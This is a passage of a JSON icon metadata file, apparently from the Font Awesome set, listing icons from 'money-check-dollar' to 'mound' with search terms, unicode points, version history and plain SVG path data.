        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm48 160H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zM96 336c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zM376 160h80c13.3 0 24 10.7 24 24v48c0 13.3-10.7 24-24 24H376c-13.3 0-24-10.7-24-24V184c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm48 160H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zM96 336c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zM376 160h80c13.3 0 24 10.7 24 24v48c0 13.3-10.7 24-24 24H376c-13.3 0-24-10.7-24-24V184c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "money-check-dollar": {
    "aliases": {
      "names": ["money-check-alt"],
      "unicodes": {
        "secondary": ["10f53d"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bank check",
        "buy",
        "checkout",
        "cheque",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53d",
    "label": "Money Check Dollar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zM272 192H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16s7.2-16 16-16zM256 304c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16zM164 152v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V360c0 11-9 20-20 20s-20-9-20-20V345.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V152c0-11 9-20 20-20s20 9 20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zM272 192H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16s7.2-16 16-16zM256 304c0-8.8 7.2-16 16-16H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-8.8 0-16-7.2-16-16zM164 152v13.9c7.5 1.2 14.6 2.9 21.1 4.7c10.7 2.8 17 13.8 14.2 24.5s-13.8 17-24.5 14.2c-11-2.9-21.6-5-31.2-5.2c-7.9-.1-16 1.8-21.5 5c-4.8 2.8-6.2 5.6-6.2 9.3c0 1.8 .1 3.5 5.3 6.7c6.3 3.8 15.5 6.7 28.3 10.5l.7 .2c11.2 3.4 25.6 7.7 37.1 15c12.9 8.1 24.3 21.3 24.6 41.6c.3 20.9-10.5 36.1-24.8 45c-7.2 4.5-15.2 7.3-23.2 9V360c0 11-9 20-20 20s-20-9-20-20V345.4c-10.3-2.2-20-5.5-28.2-8.4l0 0 0 0c-2.1-.7-4.1-1.4-6.1-2.1c-10.5-3.5-16.1-14.8-12.6-25.3s14.8-16.1 25.3-12.6c2.5 .8 4.9 1.7 7.2 2.4c13.6 4.6 24 8.1 35.1 8.5c8.6 .3 16.5-1.6 21.4-4.7c4.1-2.5 6-5.5 5.9-10.5c0-2.9-.8-5-5.9-8.2c-6.3-4-15.4-6.9-28-10.7l-1.7-.5c-10.9-3.3-24.6-7.4-35.6-14c-12.7-7.7-24.6-20.5-24.7-40.7c-.1-21.1 11.8-35.7 25.8-43.9c6.9-4.1 14.5-6.8 22.2-8.5V152c0-11 9-20 20-20s20 9 20 20z"
      }
    },
    "free": ["solid"]
  },
  "monument": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5a6"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "historic", "landmark", "memorable"]
    },
    "styles": ["solid"],
    "unicode": "f5a6",
    "label": "Monument",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M180.7 4.7c6.2-6.2 16.4-6.2 22.6 0l80 80c2.5 2.5 4.1 5.8 4.6 9.3l40.2 322H55.9L96.1 94c.4-3.5 2-6.8 4.6-9.3l80-80zM152 272c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H152zM32 448H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M180.7 4.7c6.2-6.2 16.4-6.2 22.6 0l80 80c2.5 2.5 4.1 5.8 4.6 9.3l40.2 322H55.9L96.1 94c.4-3.5 2-6.8 4.6-9.3l80-80zM152 272c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H152zM32 448H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "moon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f319", "23fe"],
        "secondary": ["10f186"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Power Sleep Symbol",
        "contrast",
        "crescent",
        "crescent moon",
        "dark",
        "lunar",
        "moon",
        "night"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f186",
    "label": "Moon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M223.5 32C100 32 0 132.3 0 256S100 480 223.5 480c60.6 0 115.5-24.2 155.8-63.4c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-9.8 1.7-19.8 2.6-30.1 2.6c-96.9 0-175.5-78.8-175.5-176c0-65.8 36-123.1 89.3-153.3c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-6.3-.5-12.6-.8-19-.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M223.5 32C100 32 0 132.3 0 256S100 480 223.5 480c60.6 0 115.5-24.2 155.8-63.4c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-9.8 1.7-19.8 2.6-30.1 2.6c-96.9 0-175.5-78.8-175.5-176c0-65.8 36-123.1 89.3-153.3c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-6.3-.5-12.6-.8-19-.8z"
      },
      "regular": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M144.7 98.7c-21 34.1-33.1 74.3-33.1 117.3c0 98 62.8 181.4 150.4 211.7c-12.4 2.8-25.3 4.3-38.6 4.3C126.6 432 48 353.3 48 256c0-68.9 39.4-128.4 96.8-157.3zm62.1-66C91.1 41.2 0 137.9 0 256C0 379.7 100 480 223.5 480c47.8 0 92-15 128.4-40.6c1.9-1.3 3.7-2.7 5.5-4c4.8-3.6 9.4-7.4 13.9-11.4c2.7-2.4 5.3-4.8 7.9-7.3c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-3.7 .6-7.4 1.2-11.1 1.6c-5 .5-10.1 .9-15.3 1c-1.2 0-2.5 0-3.7 0c-.1 0-.2 0-.3 0c-96.8-.2-175.2-78.9-175.2-176c0-54.8 24.9-103.7 64.1-136c1-.9 2.1-1.7 3.2-2.6c4-3.2 8.2-6.2 12.5-9c3.1-2 6.3-4 9.6-5.8c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-3.6-.3-7.1-.5-10.7-.6c-2.7-.1-5.5-.1-8.2-.1c-3.3 0-6.5 .1-9.8 .2c-2.3 .1-4.6 .2-6.9 .4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M144.7 98.7c-21 34.1-33.1 74.3-33.1 117.3c0 98 62.8 181.4 150.4 211.7c-12.4 2.8-25.3 4.3-38.6 4.3C126.6 432 48 353.3 48 256c0-68.9 39.4-128.4 96.8-157.3zm62.1-66C91.1 41.2 0 137.9 0 256C0 379.7 100 480 223.5 480c47.8 0 92-15 128.4-40.6c1.9-1.3 3.7-2.7 5.5-4c4.8-3.6 9.4-7.4 13.9-11.4c2.7-2.4 5.3-4.8 7.9-7.3c5-4.9 6.3-12.5 3.1-18.7s-10.1-9.7-17-8.5c-3.7 .6-7.4 1.2-11.1 1.6c-5 .5-10.1 .9-15.3 1c-1.2 0-2.5 0-3.7 0c-.1 0-.2 0-.3 0c-96.8-.2-175.2-78.9-175.2-176c0-54.8 24.9-103.7 64.1-136c1-.9 2.1-1.7 3.2-2.6c4-3.2 8.2-6.2 12.5-9c3.1-2 6.3-4 9.6-5.8c6.1-3.5 9.2-10.5 7.7-17.3s-7.3-11.9-14.3-12.5c-3.6-.3-7.1-.5-10.7-.6c-2.7-.1-5.5-.1-8.2-.1c-3.3 0-6.5 .1-9.8 .2c-2.3 .1-4.6 .2-6.9 .4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "mortar-pestle": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5a7"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crush",
        "culinary",
        "grind",
        "medical",
        "mix",
        "pharmacy",
        "prescription",
        "spices"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5a7",
    "label": "Mortar Pestle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.3 11.1C493.3-1.6 474.5-3.7 461 6.2L252.3 160H397.3L502.6 54.6c11.8-11.8 12.6-30.8 1.6-43.5zM32 192c-17.7 0-32 14.3-32 32s14.3 32 32 32c0 82.5 43.4 147.7 123.9 176.2c-11.1 13.9-19.4 30.3-23.9 48.1C127.6 497.4 142.3 512 160 512H352c17.7 0 32.4-14.6 28.1-31.7c-4.5-17.8-12.8-34.1-23.9-48.1C436.6 403.7 480 338.5 480 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504.3 11.1C493.3-1.6 474.5-3.7 461 6.2L252.3 160H397.3L502.6 54.6c11.8-11.8 12.6-30.8 1.6-43.5zM32 192c-17.7 0-32 14.3-32 32s14.3 32 32 32c0 82.5 43.4 147.7 123.9 176.2c-11.1 13.9-19.4 30.3-23.9 48.1C127.6 497.4 142.3 512 160 512H352c17.7 0 32.4-14.6 28.1-31.7c-4.5-17.8-12.8-34.1-23.9-48.1C436.6 403.7 480 338.5 480 256c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "mosque": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54c"],
        "secondary": ["10f678"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Muslim",
        "building",
        "islam",
        "landmark",
        "mosque",
        "muslim",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f678",
    "label": "Mosque",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400 0c5 0 9.8 2.4 12.8 6.4c34.7 46.3 78.1 74.9 133.5 111.5l0 0 0 0c5.2 3.4 10.5 7 16 10.6c28.9 19.2 45.7 51.7 45.7 86.1c0 28.6-11.3 54.5-29.8 73.4H221.8c-18.4-19-29.8-44.9-29.8-73.4c0-34.4 16.7-66.9 45.7-86.1c5.4-3.6 10.8-7.1 16-10.6l0 0 0 0C309.1 81.3 352.5 52.7 387.2 6.4c3-4 7.8-6.4 12.8-6.4zM288 512V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H192c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H560V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H448V454c0-19-8.4-37-23-49.2L400 384l-25 20.8C360.4 417 352 435 352 454v58H288zM70.4 5.2c5.7-4.3 13.5-4.3 19.2 0l16 12C139.8 42.9 160 83.2 160 126v2H0v-2C0 83.2 20.2 42.9 54.4 17.2l16-12zM0 160H160V296.6c-19.1 11.1-32 31.7-32 55.4V480c0 9.6 2.1 18.6 5.8 26.8c-6.6 3.4-14 5.2-21.8 5.2H48c-26.5 0-48-21.5-48-48V176 160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M400 0c5 0 9.8 2.4 12.8 6.4c34.7 46.3 78.1 74.9 133.5 111.5l0 0 0 0c5.2 3.4 10.5 7 16 10.6c28.9 19.2 45.7 51.7 45.7 86.1c0 28.6-11.3 54.5-29.8 73.4H221.8c-18.4-19-29.8-44.9-29.8-73.4c0-34.4 16.7-66.9 45.7-86.1c5.4-3.6 10.8-7.1 16-10.6l0 0 0 0C309.1 81.3 352.5 52.7 387.2 6.4c3-4 7.8-6.4 12.8-6.4zM288 512V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H192c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H560V440c0-13.3-10.7-24-24-24s-24 10.7-24 24v72H448V454c0-19-8.4-37-23-49.2L400 384l-25 20.8C360.4 417 352 435 352 454v58H288zM70.4 5.2c5.7-4.3 13.5-4.3 19.2 0l16 12C139.8 42.9 160 83.2 160 126v2H0v-2C0 83.2 20.2 42.9 54.4 17.2l16-12zM0 160H160V296.6c-19.1 11.1-32 31.7-32 55.4V480c0 9.6 2.1 18.6 5.8 26.8c-6.6 3.4-14 5.2-21.8 5.2H48c-26.5 0-48-21.5-48-48V176 160z"
      }
    },
    "free": ["solid"]
  },
  "mosquito": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bite", "bug", "mosquito", "west nile"]
    },
    "styles": ["solid"],
    "unicode": "e52b",
    "label": "Mosquito",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M463.7 505.9c9.8-8.9 10.7-24.3 2.1-34.3l-42.1-49 0-54.7c0-5.5-1.8-10.8-5.1-15.1L352 266.3l0-.3L485.4 387.8C542.4 447.6 640 405.2 640 320.6c0-47.9-34-88.3-79.4-94.2l-153-23.9 40.8-40.9c7.8-7.8 9.4-20.1 3.9-29.8L428.5 90.1l38.2-50.9c8-10.6 6.1-25.9-4.3-34.1s-25.2-6.3-33.2 4.4l-48 63.9c-5.9 7.9-6.6 18.6-1.7 27.2L402.2 140 352 190.3l0-38.2c0-14.9-10.2-27.4-24-31l0-57.2c0-4.4-3.6-8-8-8s-8 3.6-8 8l0 57.2c-13.8 3.6-24 16.1-24 31l0 38.1L237.8 140l22.6-39.5c4.9-8.6 4.2-19.3-1.7-27.2l-48-63.9c-8-10.6-22.8-12.6-33.2-4.4s-12.2 23.5-4.3 34.1l38.2 50.9-23.9 41.7c-5.5 9.7-3.9 22 3.9 29.8l40.8 40.9-153 23.9C34 232.3 0 272.7 0 320.6c0 84.6 97.6 127 154.6 67.1L288 266l0 .3-66.5 86.4c-3.3 4.3-5.1 9.6-5.1 15.1l0 54.7-42.1 49c-8.6 10.1-7.7 25.5 2.1 34.3s24.7 7.9 33.4-2.1l48-55.9c3.8-4.4 5.9-10.2 5.9-16.1l0-55.4L288 344.7l0 63.1c0 17.7 14.3 32 32 32s32-14.3 32-32l0-63.1 24.3 31.6 0 55.4c0 5.9 2.1 11.7 5.9 16.1l48 55.9c8.6 10.1 23.6 11 33.4 2.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M463.7 505.9c9.8-8.9 10.7-24.3 2.1-34.3l-42.1-49 0-54.7c0-5.5-1.8-10.8-5.1-15.1L352 266.3l0-.3L485.4 387.8C542.4 447.6 640 405.2 640 320.6c0-47.9-34-88.3-79.4-94.2l-153-23.9 40.8-40.9c7.8-7.8 9.4-20.1 3.9-29.8L428.5 90.1l38.2-50.9c8-10.6 6.1-25.9-4.3-34.1s-25.2-6.3-33.2 4.4l-48 63.9c-5.9 7.9-6.6 18.6-1.7 27.2L402.2 140 352 190.3l0-38.2c0-14.9-10.2-27.4-24-31l0-57.2c0-4.4-3.6-8-8-8s-8 3.6-8 8l0 57.2c-13.8 3.6-24 16.1-24 31l0 38.1L237.8 140l22.6-39.5c4.9-8.6 4.2-19.3-1.7-27.2l-48-63.9c-8-10.6-22.8-12.6-33.2-4.4s-12.2 23.5-4.3 34.1l38.2 50.9-23.9 41.7c-5.5 9.7-3.9 22 3.9 29.8l40.8 40.9-153 23.9C34 232.3 0 272.7 0 320.6c0 84.6 97.6 127 154.6 67.1L288 266l0 .3-66.5 86.4c-3.3 4.3-5.1 9.6-5.1 15.1l0 54.7-42.1 49c-8.6 10.1-7.7 25.5 2.1 34.3s24.7 7.9 33.4-2.1l48-55.9c3.8-4.4 5.9-10.2 5.9-16.1l0-55.4L288 344.7l0 63.1c0 17.7 14.3 32 32 32s32-14.3 32-32l0-63.1 24.3 31.6 0 55.4c0 5.9 2.1 11.7 5.9 16.1l48 55.9c8.6 10.1 23.6 11 33.4 2.1z"
      }
    },
    "free": ["solid"]
  },
  "mosquito-net": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bite", "malaria", "mosquito", "net"]
    },
    "styles": ["solid"],
    "unicode": "e52c",
    "label": "Mosquito Net",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M168.8 462.3c-7.9-4-11.1-13.6-7.2-21.5L192 380.2l0-44.2c0-4.2 1.7-8.3 4.7-11.3L256 265.4V242.2L139.2 344C87.8 395.3 0 358.9 0 286.3c0-41.1 30.6-75.8 71.4-80.9l159.9-23.9-49.6-41.3c-5.1-4.2-7-11.1-4.9-17.4l13.9-41.7-29-58.1c-4-7.9-.7-17.5 7.2-21.5s17.5-.7 21.5 7.2l32 64c1.9 3.8 2.2 8.2 .9 12.2l-12.5 37.6L256 160.5V137.9c0-14.9 10.1-27.3 23.8-31V63.7c0-4.5 3.7-8.2 8.2-8.2s8.2 3.7 8.2 8.2V107c13.7 3.6 23.8 16.1 23.8 31v22.6l45.4-37.8L352.8 85.1c-1.3-4-1-8.4 .9-12.2l32-64c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-29 58.1 13.9 41.7c2.1 6.2 .1 13.1-4.9 17.4l-49.6 41.3 159.9 23.9c22.5 2.8 41.8 14.6 54.7 31.4c-2.7 2.6-5.2 5.4-7.3 8.6c-8.6-12.9-23.3-21.5-40-21.5s-31.4 8.5-40 21.5c-8.6-12.9-23.3-21.5-40-21.5c-21.7 0-40 14.3-45.9 34.1c-10.7 3.2-19.8 10.1-25.9 19.2l-40.2-35v23.1l32.4 32.4c-.3 2-.4 4.1-.4 6.2c0 16.7 8.5 31.4 21.5 40c-4 2.6-7.5 5.9-10.6 9.5L320 310.6v50c0 17.7-14.3 32-32 32s-32-14.3-32-32v-50l-32 32 0 41.4c0 2.5-.6 4.9-1.7 7.2l-32 64c-4 7.9-13.6 11.1-21.5 7.2zM512 256c8.8 0 16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H528v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H448v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V400H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V320H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16zm16 112h48V320H528v48zm0 80h48V400H528v48zM448 320v48h48V320H448zm0 80v48h48V400H448z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M168.8 462.3c-7.9-4-11.1-13.6-7.2-21.5L192 380.2l0-44.2c0-4.2 1.7-8.3 4.7-11.3L256 265.4V242.2L139.2 344C87.8 395.3 0 358.9 0 286.3c0-41.1 30.6-75.8 71.4-80.9l159.9-23.9-49.6-41.3c-5.1-4.2-7-11.1-4.9-17.4l13.9-41.7-29-58.1c-4-7.9-.7-17.5 7.2-21.5s17.5-.7 21.5 7.2l32 64c1.9 3.8 2.2 8.2 .9 12.2l-12.5 37.6L256 160.5V137.9c0-14.9 10.1-27.3 23.8-31V63.7c0-4.5 3.7-8.2 8.2-8.2s8.2 3.7 8.2 8.2V107c13.7 3.6 23.8 16.1 23.8 31v22.6l45.4-37.8L352.8 85.1c-1.3-4-1-8.4 .9-12.2l32-64c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-29 58.1 13.9 41.7c2.1 6.2 .1 13.1-4.9 17.4l-49.6 41.3 159.9 23.9c22.5 2.8 41.8 14.6 54.7 31.4c-2.7 2.6-5.2 5.4-7.3 8.6c-8.6-12.9-23.3-21.5-40-21.5s-31.4 8.5-40 21.5c-8.6-12.9-23.3-21.5-40-21.5c-21.7 0-40 14.3-45.9 34.1c-10.7 3.2-19.8 10.1-25.9 19.2l-40.2-35v23.1l32.4 32.4c-.3 2-.4 4.1-.4 6.2c0 16.7 8.5 31.4 21.5 40c-4 2.6-7.5 5.9-10.6 9.5L320 310.6v50c0 17.7-14.3 32-32 32s-32-14.3-32-32v-50l-32 32 0 41.4c0 2.5-.6 4.9-1.7 7.2l-32 64c-4 7.9-13.6 11.1-21.5 7.2zM512 256c8.8 0 16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v48h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H608v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H528v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H448v16c0 8.8-7.2 16-16 16s-16-7.2-16-16V480H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V400H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V320H400c-8.8 0-16-7.2-16-16s7.2-16 16-16h16V272c0-8.8 7.2-16 16-16s16 7.2 16 16v16h48V272c0-8.8 7.2-16 16-16zm16 112h48V320H528v48zm0 80h48V400H528v48zM448 320v48h48V320H448zm0 80v48h48V400H448z"
      }
    },
    "free": ["solid"]
  },
  "motorcycle": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3cd"],
        "secondary": ["10f21c"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bike",
        "machine",
        "motorcycle",
        "racing",
        "transportation",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f21c",
    "label": "Motorcycle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M280 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h57.7l16.4 30.3L256 192l-45.3-45.3c-12-12-28.3-18.7-45.3-18.7H64c-17.7 0-32 14.3-32 32v32h96c88.4 0 160 71.6 160 160c0 11-1.1 21.7-3.2 32h70.4c-2.1-10.3-3.2-21-3.2-32c0-52.2 25-98.6 63.7-127.8l15.4 28.6C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L418.2 128H480c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H459.6c-7.5 0-14.7 2.6-20.5 7.4L391.7 78.9l-14-26c-7-12.9-20.5-21-35.2-21H280zM462.7 311.2l28.2 52.2c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-28.2-52.2c2.3-.3 4.7-.4 7.1-.4c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-15.5 5.5-29.7 14.7-40.8zM187.3 376c-9.5 23.5-32.5 40-59.3 40c-35.3 0-64-28.7-64-64s28.7-64 64-64c26.9 0 49.9 16.5 59.3 40h66.4C242.5 268.8 190.5 224 128 224C57.3 224 0 281.3 0 352s57.3 128 128 128c62.5 0 114.5-44.8 125.8-104H187.3zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M280 32c-13.3 0-24 10.7-24 24s10.7 24 24 24h57.7l16.4 30.3L256 192l-45.3-45.3c-12-12-28.3-18.7-45.3-18.7H64c-17.7 0-32 14.3-32 32v32h96c88.4 0 160 71.6 160 160c0 11-1.1 21.7-3.2 32h70.4c-2.1-10.3-3.2-21-3.2-32c0-52.2 25-98.6 63.7-127.8l15.4 28.6C402.4 276.3 384 312 384 352c0 70.7 57.3 128 128 128s128-57.3 128-128s-57.3-128-128-128c-13.5 0-26.5 2.1-38.7 6L418.2 128H480c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H459.6c-7.5 0-14.7 2.6-20.5 7.4L391.7 78.9l-14-26c-7-12.9-20.5-21-35.2-21H280zM462.7 311.2l28.2 52.2c6.3 11.7 20.9 16 32.5 9.7s16-20.9 9.7-32.5l-28.2-52.2c2.3-.3 4.7-.4 7.1-.4c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-15.5 5.5-29.7 14.7-40.8zM187.3 376c-9.5 23.5-32.5 40-59.3 40c-35.3 0-64-28.7-64-64s28.7-64 64-64c26.9 0 49.9 16.5 59.3 40h66.4C242.5 268.8 190.5 224 128 224C57.3 224 0 281.3 0 352s57.3 128 128 128c62.5 0 114.5-44.8 125.8-104H187.3zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "mound": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barrier", "hill", "pitcher", "speedbump"]
    },
    "styles": ["solid"],
    "unicode": "e52d",
    "label": "Mound",
